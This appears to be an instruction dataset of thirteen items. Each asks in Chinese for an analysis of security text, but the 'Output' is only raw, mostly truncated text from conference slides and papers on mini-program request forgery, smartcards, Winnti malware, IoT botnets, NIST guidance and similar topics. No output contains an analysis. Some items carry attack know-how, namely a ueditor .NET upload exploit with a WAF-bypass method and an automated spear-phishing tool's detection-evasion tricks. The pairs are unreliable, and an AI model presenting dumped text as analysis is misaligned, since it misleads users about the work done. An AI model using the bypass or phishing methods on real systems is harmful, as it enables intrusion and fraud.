Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Frevbhfyl?  Ntnva?  Ebg guvegrra? Whfg jung qb lbh gnxr zr sbe?
QmFzZTY0PyBOb3cgeW91J3JlIGp1c3QgcmVhY2hpbmcuLi5UaGluZ3MgYX
JlIG9ubHkgZXZlciBhcyBjb21wbGljYXRlZCBhcyB0aGV5IG5lZWQgdG8gYmU
uICBCdXQgaWYgeW91IGdldCBzdHVjaywgd2hlbiB5b3UncmUgYmx1ZSwgd
HJ5IHR1cm5pbmcgdXAgdGhlIGhlYXQuICBJdCB3aWxsIG1ha2UgeW91IHRo
aW5rIHlvdSdyZSBvbiBhbiBpc2xhbmQsIGFuZCBoZXksIGF0IGxlYXN0IHRoZ
W4geW91J2QgYmUgb24gYW4gaXNsYW5kLg==


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

www.dbappsecurity.com.cn
百举百捷：
红队视角下又一个突破口，
再看大国独有小程序
2020.6.16/Poc Sir
À propos de moi
关于我
Poc Sir
Cool-Guy@C-est.Cool
雷神众测以及其他平台专业打酱油白帽子
Hack Inn « www.hackinn.com » 安全议题分享平台运营者
安恒信息实习4年的最长实习生，未来仍将实习
目前一直呆在法国，欢迎大家来找我思考美食、人参
喜欢聊聊两岸三地，微博号挺多的红V、蓝V、橙V、没V都有
Contents
目录
小程序概览
01
获取小程序源码
02
初探好玩的CMRF漏洞
03
小程序的特有API漏洞
04
05 第三方那些事
小程序概览
01
小程序他🔥吗？ —— 太火了
“后疫情时代”海外人员归国离不开“防疫健康码国际版”
当你在微信分享“微博”“百度网盘文件”时离不开对应小程序
他已经慢慢的渗透进了我们的互联网生活……
那他为什么能火呢？
1.强大的平台依托，谁不用微信&支付宝
2.方便、轻量，好东西为啥不用？
3.各方重视，大力发展，互联网时代潮流
字节跳动
百度
京东
阿里巴巴
腾讯
今日头条
西瓜视频
抖音
皮皮虾
百度APP
京东APP
京东金融
京麦APP
高德导航
UC浏览器
淘宝
支付宝
微信
QQ
QQ浏览器
哪些平台有小程序生态？
单纯在小程序平台层面我们能做什么？
资产搜集！
信息搜集！
快速搜索企业小程序
判别资产归属
轻松获取子域名
脚本源
码自取
🐎######🐎
自己送上门的信息
获取小程序源码
02
安卓保存路径：/data/data/com.tencent.mm/MicroMsg/{用户ID}/appbrand/pkg/
IOS 保存路径：/var/mobile/Containers/Data/Application/{程序-
UUID}/Library/WechatPrivate/{用户ID}/WeApp/LocalCache/release/{小程序ID}/
.wxapkg文件
IOS 保存路径：
/var/mobile/Containers/Data/
Application/{程序-
UUID}/Documents/NAMAPP_
UNZIP/{随机ID}/
未加密压缩包
还原小程序
xml (axml 阿里、wxml 微信、jxml 京东)
＆ css (acss、wxss、jxss) ＆ js ＆ json
不见了！！
多出来的HTML文件是啥？
为啥打开之后一片空白？
你是谁？你变了，
变的开发者工具都不认识你了
支付宝小程序
微信小程序
index.js
(页面名称).html
wxss文件
acss文件
支付宝小程序
微信小程序
index.woker.js
app-service.js
js文件
js文件
支付宝小程序
微信小程序
appConfig.json
app-config.json
json文件
json文件
支付宝小程序
微信小程序
page-frame.html
index.js
wxml文件
axml文件
初探好玩的CMRF漏洞
03
看不见却实际存在的页面路径
可传入数据但又无法直接修改
pages/archives/detail.html?id=492&title=
HackingDay 2019 HangZhou
CMRF 跨小程序请求伪造漏洞
（Cross MiniAPP Request Forgery）
利用小程序对用户在对应平台上身份的
信任，在获取页面传入的参数之后结合
用户已经登录的身份信息向小程序后端
发送对应的数据包，从而使用户在无意
间完成一次具有危害性的请求操作。
/pages/my/changepwd.html
?newpwd=新的密码
输入密码点击修改
https://example.org/user/changepwd.do?
password=新密码&token=用户身份信息
构造恶意分享内容
…?newpwd=Abc123
诱导
点击
CMRF
完整
拟真
利用
Title:决定页面描述
Des:决定小程序标题
Pagepath: 决定小程序页面
路径以及传入参数内容
alipays://platformapi/startapp?appId=小程
序ID号&page=urlencode之后的页面数据
/pages/index/thorsrc?date=616&whoami=Poc-Sir
……
baiduboxapp://swan/小程序ID号/?传入页面数据
dingtalk://dingtalkclient/action/open_mini_app?miniApp
Id=appid&page=页面?...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

©
  2012
  The
  MITRE
  Corpora2on.
  All
  rights
  reserved.
No
  More
  Hooks:
Trustworthy
  Detec2on
  of
Code
  Integrity
  AGacks
Xeno
  Kovah,
  Corey
  Kallenberg,
Chris
  Weathers,
  Amy
  Herzog,
MaGhew
  Albin,
  John
  BuGerworth
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
Malicious
  SoPware
Dear
  everyone:
This
  system
  is
Infected!
2
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
Malicious
  SoPware
I
  don't
  like
  you.
You
  are
annoying.
3
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
Malicious
  SoPware
I
  don't
  like
  you.
You
  are
annoying.
*scribble*
*scribble*
*scribble*
4
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
Malicious
  SoPware
Dear
  everyone:
This
  system
  is
A-‐OK!
5
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
Malicious
  SoPware
That's
  what
  I'm
talkin'
  'bout
(Bruce)
  Willis!
6
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
Malicious
  SoPware
Checkmate
*scan*
*scan*
*scan*
Security
SoPware
  is
compromised!
7
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
Malicious
  SoPware
Checkmate
You
  are
similarly
annoying!
*scribble*
*scribble*
*scribble*
8
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
is
  OK.
Security
  SoPware
Malicious
  SoPware
Checkmate
*scan*
*scan*
*scan*
Don't
  believe
  me!
I'm
  compromised!
9
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
Malicious
  SoPware
Checkmate
Are
  you
  kidding
me?
  F*&@^
  self-‐
checking
  tricorder…
This
  is
  ridiculous!
*scribble*
*scribble*
*scribble*
10
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
is
  OK.
Security
  SoPware
Malicious
  SoPware
Checkm...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Eric Sesterhenn <eric.sesterhenn@x41-dsec.de>
2018
X41 D-SEC GmbH
https://www.x41-dsec.de/
1 / 30
whoami
• Eric Sesterhenn
• Principal Security Consultant
• Pentesting/Code Auditing at X41
https://www.x41-dsec.de/
2 / 30
Disclaimer
• The issues presented here have been
reported and ﬁxed!
• These are open source projects - help them!
• I am not interested in testing / debugging
proprietary stuﬀ in my spare time.
DEF CON 2018
3 / 30
Targets
LINUX
LOGIN
DEF CON 2018
4 / 30
Why?
• Smartcards control authentication!
• Authentication runs as root!
• Users and programmers
subconsciously trust the smartcard!
DEF CON 2018
5 / 30
Smartcards
User
Smartcard
Reader
Reader Driver
(PC/SC)
Login
(pam)
Smartcard Driver
(OpenSC)
DEF CON 2018
6 / 30
What is a Smartcard?
• Physical, tamper-proof device
• Designed to keep information secret
• Contains memory and a processor
https://en.wikipedia.org/wiki/Smart_card#/media/File:SmartCardPinout.svg
DEF CON 2018
7 / 30
Application Protocol Data Unit
• APDUs form the protocol to talk to
smartcards
• ISO/IEC 7816-4 Identiﬁcation cards
- Integrated circuit cards
• T=0 is character oriented / T=1 is
block-oriented
• Verify: 00 20 00 01 04 31323334
CLA
INS
P1
P2
LC
Data
1
1
1
1
0-3
NC
DEF CON 2018
8 / 30
PC/SC API
• PC/SC API can be used on win and
*nix
• Other libraries have a similar
interface
LONG WINAPI SCardTransmit(
SCARDHANDLE
hCard,
LPCSCARD_IO_REQUEST pioSendPci,
LPCBYTE
pbSendBuffer,
DWORD
cbSendLength,
PSCARD_IO_REQUEST
pioRecvPci,
LPBYTE
pbRecvBuffer,
LPDWORD
pcbRecvLength
);
DEF CON 2018
9 / 30
PKCS11
• PKCS11 is a platform independent
API for cryptographic token
• Supported by OpenSSL, browsers,...
(eg. via libp11)
• Windows uses smartcard Minidriver
now
• Driver for each card, uses ATR to
match
CK_RV C_FindObjectsInit(
CK_SESSION_HANDLE hSession,
CK_ATTRIBUTE_PTR pTemplate,
CK_ULONG ulCount
);
DEF CON 2018
10 / 30
Smartcard Stack Summary
Application (pam)
PKCS11
PC/SC
APDU
Physical Card
DEF CON 2018
11 / 30
Smartcard for Sign-On
P...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

所有操作均在授权项目中进行。
一天下午好兄弟发来一个 ueditor 环境存在.net 任意文件上传一起看下，存在创某盾 waf。
0x01
把所有常用办法都测试例如 uri 填充、post 填充、大并发、参数混淆、参数 fuzz 等等都测试
过后均失败。
后 fuzz 其他扩展名发现 cer、asmx、shtml 可以上传其他 ashx 什么的拦截。
其中 cer 创某盾禁止访问。asmx 文件试了很多个文件访问均 500 报错，谷歌后似乎是因为
要.net4.6 以上才默认支持 asmx，不知道与 iis10 版本有没有关系。
尝试 shtml exec 执行命令提示。
包含文件报错，谷歌说原因是读取的路径或者文件中含有中文，此处暂时放下。
打印环境变量成功由此知道了目标中间件是 iis10 和其它信息。
到这里思路又卡住了，花了很多时间回去继续 fuzz 参数等等。
0x02
没招了，找分析文章看这个漏洞的原理。发现大部分文章都是抄 Ivan1ee 的文章，并没讲的
很清楚，只是复现下在讲下大概原理就没了。于是下载了.net 版源码，跟流程。
/net/controller.ashx
这里实例化 CrawlerHandler 类，跟进这个类。
/net/App_Code/CrawlerHandler.cs
第一红色箭头判断了传入 url 访问后 response 头有无图片头，这里如果我们把我们的站点所
有请求均加入图片头，直接传入 aspx 一样可以下载原 poc:1.jpg?.aspx 只是用图片马方便绕
过图片头判断。
第二红色箭头是漏洞代码所在，由其处理最关键的 path，其他抄文章的到这里就是一句话
说这个函数存在漏洞就没了。为了搞清楚究竟路径是如何处理的跟进该函数。
/net/App_Code/PathFormater.cs
这里两个红色箭头处才是漏洞根源，invalidPattern.Replace 通过正则去除了路径中的部分特
殊字符，将匹配的字符置空。这里可以看到正则内共有[\\\/\:\*\?\042\<\>\|]这么多字符，都
可以置空。
第二个箭头到了 extention 处就是指定文件扩展名的，GetExtension()这个函数是自带函数用
于获取最后的扩展名。
以原 poc 为例子：漏洞原理为 1.jpg?.aspx 到了 invalidPattern.Replace 处通过正则替换后成
为 1.jpg.aspx 后经过 GetExtension()得到扩展名 aspx 最后 return 处理后的路径及扩展名。
经上面得知正则支持很多替换，马上去试了结果还是拦截掉了。
根据这个正则又 fuzz 了下还是拦截。这时候快十二点了，暂时又没了思路。再看看代码什
么的，又花了半个多小时。之后突然想到既然 PathFormater 可以帮忙把特殊符号置空，自
己直接通过特殊符号拼接 aspx 关键字不就能绕过了，再去操作下。
构造 poc，已经成功。用这个思路还有类似的 poc 可以绕过这里不再贴图。
0x03 绕过
测试时猜测 waf 后端的规则的粒度应该控制到具体漏洞级别了，针对不同漏洞有不同的规
则。如把 uri 中的 action 删除就不会拦截，这时候应该规则就匹配不到 ue 这个漏洞规则所
以不会拦截。
优点：细粒度的规则最大程度避免了对生产业务的干扰。
缺点：针对不同漏洞需要花很多精力根据漏洞代码做细致规则，否则可能就像 ue 通过源码
中的代码逻辑构造不常见的利用方式就可完成绕过。
总结：从代码里面构造新的 poc 是一种快捷的思路。
0x04 防御
针对正则表达式处增加对应的规则修补。
Ref:
https://forums.iis.net/t/1241946.aspx?Setting+up+IIS+10+for+ASMX+service
https://www.freebuf.com/vuls/181814.html


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#WeaponizeMe
Weaponizing Data Science
for Social Engineering:
Automated E2E Spear Phishing on Twitter
John Seymour  |  Philip Tully
1
#WeaponizeMe
You care about phishing on social media
2
#WeaponizeMe
TL;DR
3
Level of Effort
Success Rate
Our Tool
Fully Automated
>30% Accuracy
Spear Phishing
Highly Manual
45% Accuracy
Phishing
Mostly Automated
5-14% Accuracy
Tweet #WeaponizeMe before the demo to get an example tweet!
#WeaponizeMe
#whoami
4
John Seymour
@_delta_zero
Philip Tully
@kingphish3r
Data Scientist at ZeroFOX
Senior Data Scientist at ZeroFOX
Ph.D. student at UMBC
Ph.D. student at University of Edinburgh &
Royal Institute of Technology
Researches Malware Datasets
Brain Modeling and Artificial Neural Nets
#WeaponizeMe
Fooling Humans for 50 Years
5
 Microsoft
 Deep Neural Network
 1966: ELIZA chatbot
 Joseph Weizenbaum, MIT
1966: Eliza Chatabot
20166: @TayandYou AI Chatbot
#WeaponizeMe
InfoSec ML Historically Prioritizes Defense
6
#WeaponizeMe
#Shoutout
7
#WeaponizeMe
Weaponizing Data Science
for Social Engineering:
Machine Learning on Offense
Automated E2E Spear Phishing on Twitter
8
#WeaponizeMe
Our
#SMACK Tool
9
#SMACK
Tool
Twitter
Profiles
Payloads
Harvesting
#WeaponizeMe
Why Twitter?
10
Bot-friendly API
Colloquial syntax
Shortened links
Trusting culture
Incentivized data disclosure
#WeaponizeMe
Techniques to Evade Detection
 Our ML Tool...
 Shortens payload per unique user
 Auto-tweets at irregular intervals
 Triages users wrt value/engagement
 Prepends tweets with @mention
 Obeys rate limits
 We added...
 Post non-phishing posts
 Build believable profile
11
#SMACK
Tool
Twitter
Profiles
Payloads
Harvesting
#WeaponizeMe
Design Flow
12
is_target(user)
get_timeline(depth)
gen_markov_tweet()
gen_nn_tweet()
schedule_tweet_and_sleep()
post_tweet_and_sleep()
#SMACK
Tool
Twitter
Profiles
Payloads
Harvesting
#WeaponizeMe
Weaponizing Data Science
for Social Engineering:
Automated Target Discovery
Automated E2E Spear Phishing on Twitter
13
#WeaponizeMe
Triage of...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
脱壳⼩⼦-java anti-decompiler保护脱壳
前⾔
脱壳思路
脱壳效果
开源地址
有⼀天，脚本⼩⼦想开发⼀个⼯具，但脚本⼩⼦⼜不想从头构思设计代码框架，就找找业界有没有
好的⼯具能不能抄抄。终于在脚本⼩⼦快乐星球⾥，找到⼀个看起来还不错的⼯具。但存在⼀个问题，
这个⼯具有代码保护壳。。。脚本⼩⼦本来想当裁缝⼩⼦的，可没想到还得先变成脱壳⼩⼦才⾏。
正⾯硬刚解密算法是⼀种思路，但所需要花费的时间太⻓，性价⽐不是很⾼，并且由于笔者太菜
了，浅尝了下，发现不太容易搞定。这⾥采⽤CSAgent的形式，通过注⼊⽬标程序，替换壳代码的解密
加载过程，直接将解密后的代码写到⽂件当中。
解密加载代码在JavaLauncherIdea$Decoder的loadJars⽅法当中。
其中类CipherInputStream的作⽤就是读取加密状态的⽂件，所以我们只需要在这⾥将
CiperInputStream获取的⽂件流读取出来，然后写⼊到本地⽂件即可。
前⾔
脱壳思路
2
这⾥有个⼩坑，就是在壳代码当中有个判断启动java进程的命令⾏参数当中是否包含-
XX:+DisableAttachMechanis，并且这个选项是否是⽣效的，代码位置在JavaLauncherIdea的main⽅法
中。
要是启动参数当中没有加⼊这个选项或者没有⽣效，就会创建新JVM进程，并且在新进程启动参数
中添加-XX:+DisableAttachMechanis。
Java
复制代码
if (jvmArgs.contains("-XX:+DisableAttachMechanism") &&
jvmArgs.lastIndexOf("-XX:-DisableAttachMechanism") <
jvmArgs.lastIndexOf("-XX:+DisableAttachMechanism")) {
            JavaLauncherIdea launcher = new JavaLauncherIdea();
            try {
                launcher.run(args);
            } catch (Throwable var6) {
                JOptionPane.showMessageDialog((Component)null,
var6.getMessage(), "Error", 0);
                System.exit(0);
            }
 }
1
2
3
4
5
6
7
8
9
10
3
所以我们在使⽤javaagent时带上-XX:+DisableAttachMechanis这个启动选项。
这⾥开发脱壳agent⽩嫖了Twi1ight师傅得CSAgent的模板代码，感谢⼤佬的代码，脚本⼩⼦表示⽩
嫖真⾹。最后脱壳后的⽂件会保存在java运⾏的当前⽬录下，名字以xxx_unpacked.jar命名
https://github.com/yougar0/AntiDecAgent
脱壳效果
开源地址
Java
复制代码
java -javaagent:CSAgent-1.4-SNAPSHOT-jar-with-dependencies.jar -
XX:+DisableAttachMechanism -jar xxx.jar
1


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
1
Biting the Hand That Feeds You
Storing and Serving Malicious Content from Well Known Web Servers
Billy K Rios – Senior Researcher
Nathan Mcfeters – Senior Researcher
Kicking Down the Cross Domain Door
ii
Intended Audience
This paper assumes the reader has a solid understanding of web application security
principles, Cross Site Request Forgery, and web browser security mechanisms.
Contributing Authors
Version 1.0
Billy Kim Rios – Senior Researcher – VeriSign Inc, Seattle
Nathan Mcfeters – Senior Researcher – Advanced Security Center, Houston
Kicking Down the Cross Domain Door
iii
Table of Contents
INTENDED AUDIENCE............................................................................................................................ II
CONTRIBUTING AUTHORS................................................................................................................... II
CHAPTER 1 – WHO DO YOU TRUST? .................................................................................................. 4
1. OVERVIEW .............................................................................................................................................. 4
2. BROWSER/APPLICATION SECURITY MEASURES...................................................................................... 4
3. A NEW TWIST ON CROSS SITE REQUEST FORGERY................................................................................. 5
CHAPTER 2 – BITING THE HAND - YAHOO....................................................................................... 7
1. CREATING AN ACCOUNT......................................................................................................................... 7
2. UPLOADING CONTENT ............................................................................................................................ 7
3. BYPASSING MISCELLANEOUS PROTECTION MEASURES....


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

NIST Special Publication
NIST SP 800-161r1
Cybersecurity Supply Chain Risk
Management Practices for Systems
and Organizations
Jon Boyens
Angela Smith
Nadya Bartol
Kris Winkler
Alex Holbrook
Matthew Fallon
This publication is available free of charge from:
https://doi.org/10.6028/NIST.SP.800-161r1
NIST Special Publication
NIST SP 800-161r1
Cybersecurity Supply Chain Risk
Management Practices for Systems
and Organizations
Jon Boyens
Angela Smith
Computer Security Division
 Information Technology Laboratory
Nadya Bartol
Kris Winkler
Alex Holbrook
Matthew Fallon
Boston Consulting Group
This publication is available free of charge from:
https://doi.org/10.6028/NIST.SP.800-161r1
May 2022
U.S. Department of Commerce
Gina M. Raimondo, Secretary
National Institute of Standards and Technology
Laurie E. Locascio, NIST Director and Undersecretary of Commerce for Standards and Technology
i
Authority
This publication has been developed by NIST in accordance with its statutory responsibilities under the
Federal Information Security Modernization Act (FISMA) of 2014, 44 U.S.C. § 3551 et seq., Public Law
(P.L.) 113-283. NIST is responsible for developing information security standards and guidelines, including
minimum requirements for federal information systems, but such standards and guidelines shall not apply
to national security systems without the express approval of appropriate federal officials exercising policy
authority over such systems. This guideline is consistent with the requirements of the Office of Management
and Budget (OMB) Circular A-130.
Nothing in this publication should be taken to contradict the standards and guidelines made mandatory and
binding on federal agencies by the Secretary of Commerce under statutory authority. Nor should these
guidelines be interpreted as altering or superseding the existing authorities of the Secretary of Commerce,
Director of the OMB, or any other federal official. This publica...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

RESEARCH ON THE MACHINES
HELP THE FTC PROTECT PRIVACY
AND SECURITY
Humans
User: Terrell McSweeny
Function: Commissioner, FTC
@TMcSweenyFTC
User: Lorrie Cranor
Function: Chief Technologist, FTC
@lorrietweet
Machines
Speech Schematics
Privacy &
Security
Protections Now
Issues of
the Day
We Need
Your Help!
How does the FTC respond to the
Rise of the Machines?
When
machines
are
everywhere?
What does the FTC do?
Unfair
Deceptive
What do “unfair” and “deceptive” mean?
•  Unfair =
–  Substantial Injury to Consumers
–  Unavoidable
–  Not Outweighed Procompetitive By Benefits
•  Deceptive =
–  Act Likely to Mislead Consumers
–  Unreasonable
–  Material
For Example …
Facebook promised to keep personal info
safe, but allowed 3rd party access
Google promised Gmail contacts wouldn’t
be used elsewhere, but used them in its
social-media site, Buzz
Snapchat promised images
would disappear, but kept them
For Example …
Wyndham unfairly exposed consumers’
payment-card info in three separate data
breaches
ORACLE promised its updates would
protect consumers, but didn’t protect older
versions of Java SE.
ASUS promised its routers would protect
local network against attacks, but failed to
update them enough
How do we decide what cases to bring?
Research
Media
Complaints
Current
Issues
Mobile phone account hijacking
and new account fraud
Number of
incidents
reported
% of identity
theft reports
January 2013 1,083
3.2%
January 2016 2,658
6.3%
Reported to FTC Consumer Sentinel Network
PII
FCC
NHTSA
DOE
FAA
HIPPA
Defenseless Data
FACTA
ECOA
COPPA
FCR
A
FTC Act
FTC
Sept.&9,&2015&–&San&Francisco&
Nov.&5,&2015&-&Aus;n&
Feb.&9,&2016&-&Sea>le&
June&15,&2016&-&Chicago&
2017&–&Stay&Tuned&
Outreach
Office of Technology
Research & Investigation
2016 Fall Technology Series
Ransomware
September 7
Drones
October 13
Smart TV
December 7
ftc.gov/tech
Putting Disclosures to the Test
September 15, 2016 ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Winnti%Polymorphism%
Takahiro%Haruyama%
Symantec%
Who%am%I?%
•  Takahiro%Haruyama%(@cci_forensics)%
•  Reverse%Engineer%at%Symantec%
–  Managed%Adversary%and%Threat%Intelligence%(MATI)%
•  https://www.symantec.com/services/cyber-security-services/
deepsight-intelligence/adversary%
•  Speaker%
–  BlackHat%Brieﬁngs%USA/EU/Asia,%SANS%DFIR%Summit,%
CEIC,%DFRWS%EU,%SECURE,%FIRST,%RSA%Conference%JP,%
etc…%
2%
Motivation%
•  Winnti%is%malware%used%by%Chinese%threat%actor%for%
cybercrime%and%cyber%espionage%since%2009%
•  Kaspersky%and%Novetta%published%good%white%papers%
about%Winnti%[1]%[2]%
•  Winnti%is%still%active%and%changing%
–  Variants%whose%behavior%is%diﬀerent%from%past%reports%
–  Targets%except%game%and%pharmaceutical%industries%
•  I’d%like%to%ﬁll%the%gaps%
3%
Agenda%
•  Winnti%Components%and%Binaries%
•  Getting%Target%Information%from%Winnti%
Samples%
•  Wrap-up%
4%
Winnti%Components%and%Binaries%
5%
Winnti%Execution%Flow%
%
6%
Dropper
Engine
2. run
3. load
& run
Service-
with-conﬁg
Worker-
with-conﬁg
(encrypted)
1. drop
5. load
memory-resident
or omitted
4. decrypt
& run
rootkit
drivers
C2-server
6. connect
to C2
New%Findings%
%
7%
Dropper
Engine
other,
malware,family
2. run
3. load
& run
Service,
with,conﬁg
Worker,
with,conﬁg
(encrypted)
1. drop
5. load
decrypt & run
(rare samples only)
memory-resident
or omitted
or ﬁle
client,malware?,on,
other,machines
4. decrypt
& run
rootkit
drivers
C2,server
6. connect
to C2
connected
through
covert
channel
SMTP
supported
Dropper%Component%
•  extract%other%components%from%inline%DES-protected%blob%
–  the%dropped%components%are%%
•  service%and%worker%
•  additionally%engine%with%other%malware%family%(but%that%is%rare)%
–  the%password%is%passed%from%command%line%argument%
–  Some%samples%add%dropper’s%conﬁguration%into%the%overlays%of%the%
components%
•  run%service%component%
–  /rundll32.exe%"%s",%\w+%%s/%
–  the%export%function%name%often%changes%
•  Install,%DlgProc,%gzopen_r,%Init,%sql_init,%sqlite3_backup...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

安全软件开发生命周期(S SDLC)
安全软件开发生命周期(S-SDLC)
与业务安全
与业务安全
自我介绍&培训
高级讲师 包悦忠
• CWASP高级讲师：包悦忠
• 专场培训
1） 北京市朝阳区北四环中路8号 五洲皇冠国际酒店 会议室8
1） 北京市朝阳区北四环中路8号 五洲皇冠国际酒店 会议室8
2） 高级会员免费参与
软件安全保障
(软件安全
• Software Security Assurance (软件安全
保障) is the process (流程) of ensuring that
)
p
(
)
g
software is designed (设计) to operate at a
level of security that is consistent with the
level of security that is consistent with the
potential harm that could result from the loss,
inaccuracy, alteration, unavailability, or misuse of
y,
,
y,
the data and resources (数据和资源) that
it uses, controls, and protects.
it uses, controls, and protects.
‐摘自英文Wikipedia网站
软件安全保障
流程
软件安全保障
安全软件开发生命周期 (S‐SDLC)
——关键要素
关键要素
需求
设计
开发
测试
部署和
运维
运维
风险评估
‐
威胁建模
设计审核
‐
安全开发
‐
安全测试
‐
安全加固
‐
补丁管理
‐
风险评估
‐
设计审核
‐
攻击面分析
‐
代码审核
‐
渗透测试
‐
漏洞管理
‐
安全事件响应
‐
风险评估模板
‐
威胁库
‐
设计审核模板
‐
公共安全组件
‐
静态分析工具
‐
动态分析工具
‐
第三方渗透测
试
‐
安全基线
‐
扫描、监控、
管理工具
培训
政策
组织能力
培训、政策、组织能力
安全软件开发生命周期 (S‐SDLC)
——流程与敏捷开发
流程与敏捷开发
• 环境初始
化
• 威胁建模
• 安全开发
• 持续集成
• 代码审核
• 更新设计
设计
开发
自动化部
持续测试
测试
部署
• 自动化部
署
• 安全运维
• 持续测试
• 渗透测试
软件安全保障
——业界最佳实践
业界最佳实践
流程体系 持续改进
• 流程体系、持续改进
– 固化→实施→评估→改进→再固化
固化→实施→评估→改进→再固化
• 设计安全
培训 意识和能力
• 培训、意识和能力
• 管理层实际的、可见的支持
管理层实际的、可见的支持
软件安全保障
——流程成熟度模型
• Software Assurance Maturity Model (SAMM)
软件安全保障
——流程成熟度模型
• Microsoft SDL Optimization Model
软件安全保障
设计暨业务安全
软件安全保障
设计
务
威胁分析目的
威胁
安全
安全
安全
安全
威胁
分析
安全
设计
安全
开发
安全
测试
安全
部署
分析
设计
开发
测试
部署
数据流图
帐号
帐号、
用户标识
帐号
邮件
代理服务
移动
客户端
第三方
邮件服务
用户标识
用户标识
邮件
帐号
邮件
邮件
用户标识
邮件
威胁模型 S.T.R.I.D.E.
仿冒
篡改
抵赖
信息泄露
拒绝服务
权限提升
数据流图
元素
仿冒
(Spoofi
ng)
篡改
(Tampe
ring)
抵赖
(Repudi
ation)
信息泄露
(Informa
tion
Disclosur
拒绝服务
(Denial
of
Service)
权限提升
(Elevatio
nof
Privilege)
Disclosur
e)
Service)
Privilege)
外部交互方
√
√
处理过程
√
√
√
√
√
√
数据存储
√
√
√
√
数据流
数据流
√
√
√
威胁分析
帐号
I
帐号、
用户标识
帐号
I
I
S
S R
邮件
代理服务
移动
客户端
第三方
邮件服务
用户标识
用户标识
邮件
帐号
邮件
I
D E
I
T
S R
邮件
I
用户标识
邮件
I
I
消减措施
——方法、技术手段
S
消减措施
方法
技术手段
S.T.R.I.D.E.
消减措施
方法、技术手段
仿冒(Spoofing)
身份验证
(Authentication)
用户名/密码、Cookie、数字签
名、挑战‐应答、自定义
篡改(Tampering)
完整性(Integrity)
访问控制、数字签名
抵赖(Repudiat...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

如何去挖掘物联网环境中的高级恶意软件威胁
叶根深
360网络安全研究院研究员
$ whoami
Email：yegenshen@360.cn
Twitter/WeChat：@zom3y3
Network Security Researcher @360Netlab
TO BE A MALWARE HUNTER!
#Botnet #Pentest #Honeypot #Sandbox
PART 01
背景介绍
目录
CONTENTS
PART 02
IoT安全现状
PART 03
挖掘未知的IoT Exploit
PART 04
挖掘未知的IoT Botnet
01
03
04
02
PART 05
总结
05
PART
01
背景介绍
What is an advanced malware threat ?
0-day Exploit      or        Cyberweapon
概览
通过Anglerfish蜜罐，我捕获到大量网络扫描Payload和IoT Botnet，并和同事一起公开披露了部分报告，其中包括：Mirai，
http81，DDG，Hajime，TheMoon，IoT_reaper，Satori，Muhstik，HNS，Fbot，MikroTik，GhostDNS，Ngioweb，
Godlua，Gwmndy等。
我还挖掘到一些有意思的样本，部分贴在了推特上#unknown_botnet，还有一个是针对IoT平台的特马但没有公开披露。
此外，我还捕获到3个0day，其中包括被Satori Botnet利用的CVE-2017-17215漏洞，被TheMoon Botnet利用的Gpon Home
Routers RCE漏洞，被Fbot利用的雄迈DVRIP协议漏洞。
我是如何研究IoT安全的？
•
开发Anglerfish蜜罐，模拟IoT设备指纹/漏洞，捕获网络扫描Payload和样本
•
筛选x86 ，ARM，MIPS等CPU架构样本，分析未被杀软件识别的恶意软件
•
开发特定漏洞扫描程序，统计全网受影响设备数量等
•
从设备官网下载相应固件，统计受影响的设备型号等
Network Scan
Payload Analysis
40%
IoT Firmware
Reversing
10%
IoT Vulnerability
Scan
10%
ELF Malware
Analysis
40%
PART
02
IoT安全现状
IoT 安全现状
IoT 安全防御能力不足
IoT Botnet 攻击能力不断升级
IoT 设备已经成为APT攻击目标
01
02
03
Vulnerability：漏洞补丁能不能打上
Exploits：恶意流量能不能拦截
Malware：恶意程序能不能阻止运行
IoT 安全防御能力不足
IoT Botnet感染能力不断升级
Mirai内置大量弱口令，
通过暴力破解Telnet服
务传播。
Mirai变种集成Zyxel
tr069协议漏洞传播，但
因为Exploit不稳定导致
路由器重启，从而引发
德国电信大断网事件。
Reaper集成9个IoT漏
洞，其中Varcon NVR
个 RCE漏洞在公开后2
天就被集成。
Satori利用Huawei
Router HG532 0-day
漏洞传播，12月5号当天
统计到感染IP数量在57
万。全球ISP联合行动，
封锁TCP/37215端口。
2016年8月1日
2016年11月28日
2017年9月13日
2017年12月5日
1
2
3
4
2018年9月4日
5
2019年2月16日
6
MikroTik设备受泄露的
CIA ChimayRed黑客工
具影响，路由器被攻击
者监听网络流量，充当
代理节点，植入js挖矿
代码。
Fbot使用XiongMai
硬编码账号密码和
DVRIP升级接口0-
day漏洞传播。
IoT Botnet感染能力不断升级
暴力破解
漏洞集成
漏洞挖掘
• 暴力破解Telnet服务
• Mirai，Gafgyt
• 集成大量已公开漏洞
• IoT_Reaper，Mirai
• 0-day 漏洞利用
• Satori，TheMoon，Fbot
IoT Botnet C2技术不断升级
冗余机制
通信协议
复杂化
• 硬编码多个C2地址
• 使用DGA技术
• Mirai，Godlua
• 使用P2P协议通信
• 使用DOH解析DNS请求
• Hajime，Godlua，HNS
• C2功能插件化
• 构造多级C2协议
• VPNFilter，Ngioweb
IoT 设备已经成为APT攻击目标
情报监控
窃听风云: 你的MikroTik路由器正在被监听
IP
Count
37.1.207....


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

BRAIN GAMES
Make your own Biofeedback Video Game
Ne0nRa1n
